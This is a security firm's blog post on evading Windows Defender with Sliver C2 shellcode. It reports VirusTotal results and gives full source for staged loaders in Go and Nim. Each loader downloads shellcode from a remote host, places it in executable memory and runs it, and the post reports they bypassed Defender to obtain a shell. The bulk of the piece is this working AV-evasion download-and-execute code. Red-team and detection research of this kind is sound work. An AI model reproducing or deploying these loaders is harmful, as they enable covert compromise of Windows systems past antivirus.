Numen

Logo

Defeating Windows Defender using Different Programming Languages with Sliver C2 Shellcode

Article Image

Have you ever wondered about the ability of Sliver shellcode to bypass AV software like Windows Defender?

We have! To our surprise, we found that it was able to evade Windows Defender regardless of the programming language used and the payload types, whether they were Stageless or Staged.

In this experiment, we selected 3 programming languages based on their popularity, starting with the most commonly used and ending with the least used.

3 Different Programming Languages: C#, Go and Nim

One in Common: Sliver Shellcode

Test Environment: Windows 10 x64

A glimpse of VT results
A glimpse of VT results

If you need help on how to generate Sliver shellcode, you can refer to our previous post here.

On Sliver’s official website, there are examples of Stager codes written in C#, which will be detected by Windows Defender. To evade AV, we need to modify the C# code by using a less common memory allocation library.

In this article, we also shared the source code for the staged payload using Go and Nim. The inner workings of the stageless payload are similar, but instead of placing the shellcode remotely, it is a self-contained package.

Overall Assessment Results

The results from VirusTotal were unexpected. We initially assumed that the payload written in the least commonly used programming language would have a better chance of evading detection. However, we found that all of the payloads were able to evade detection by Windows Defender when used with Sliver C2 to get a shell.

Figure 1: Executing Nim Stageless Payload with Defender running
Figure 1: Executing Nim Stageless Payload with Defender running
Figure 2: C# Payload VT Scanning Results
Figure 2: C# Payload VT Scanning Results
Figure 3: Nim Payload VT Scanning Results
Figure 3: Nim Payload VT Scanning Results
Figure 4: Golang Payload VT Scanning Results
Figure 4: Golang Payload VT Scanning Results

Bypassing Window Defender with Staged Payloads

1. Golang

package main
import (
 "io/ioutil"
 "net/http"
 "syscall"
 "unsafe"
)
const (
 MEM_COMMIT             = 0x1000
 MEM_RESERVE            = 0x2000
 PAGE_EXECUTE_READWRITE = 0x40
)
var (
 kernel32           = syscall.MustLoadDLL("kernel32.dll")
 ntdll              = syscall.MustLoadDLL("ntdll.dll")
 VirtualAlloc       = kernel32.MustFindProc("VirtualAlloc")
 procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
 RtlMoveMemory      = ntdll.MustFindProc("RtlMoveMemory")
)
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
 ret, _, _ := procVirtualProtect.Call(
  uintptr(lpAddress),
  uintptr(dwSize),
  uintptr(flNewProtect),
  uintptr(lpflOldProtect))
 return ret > 0
}
func main() {
 response, _ := http.Get("http://ip/sliver.bin")
 defer response.Body.Close()
 charcode, _ := ioutil.ReadAll(response.Body)
 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
 _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
for j := 0; j < len(charcode); j++ {
  charcode[j] = 0
 }
 syscall.Syscall(addr, 0, 0, 0, 0)
}

2. Nim

import winim
import winim/lean
import httpclient
func toByteSeq*(str: string): seq[byte] {.inline.} =
    @(str.toOpenArrayByte(0, str.high))
proc DownloadExecute(url:string):void=
    var client = newHttpClient()
    var response: string = client.getContent(url)
    
    var shellcode: seq[byte] = toByteSeq(response)
    let tProcess = GetCurrentProcessId()
    var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
    
    let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](len(shellcode)),0x3000,PAGE_EXECUTE_READ_WRITE)
defer: CloseHandle(pHandle)
    copyMem(rPtr, addr shellcode[0], len(shellcode))
    let f = cast[proc(){.nimcall.}](rPtr)
    f()
when defined(windows):
    when isMainModule:
        DownloadExecute("http://ip/sliver.bin")

Conclusion

Although the article may look short and sweet, it takes a lot of painstaking effort to get to this point, especially whilst working with large size shellcode in VS IDE and unfamiliar Nim programing language.

In future articles, we shall share more on the testing results with other AV software such as BitDefender.

If you are also interested in the C# code payload, do reach out to us at Numen CyberLab [email protected] and we will do our best to reach out to you via email.

Numen Cyber Labs is committed to facilitating the safe development of Web 3.0. We are dedicated to the security of the blockchain ecosystem, as well as operating systems & browser/mobile security. We regularly disseminate analyses on topics such as these, please stay tuned or visit our blog here for more!

This blog was originally published on our Medium Account.

Share:

More Posts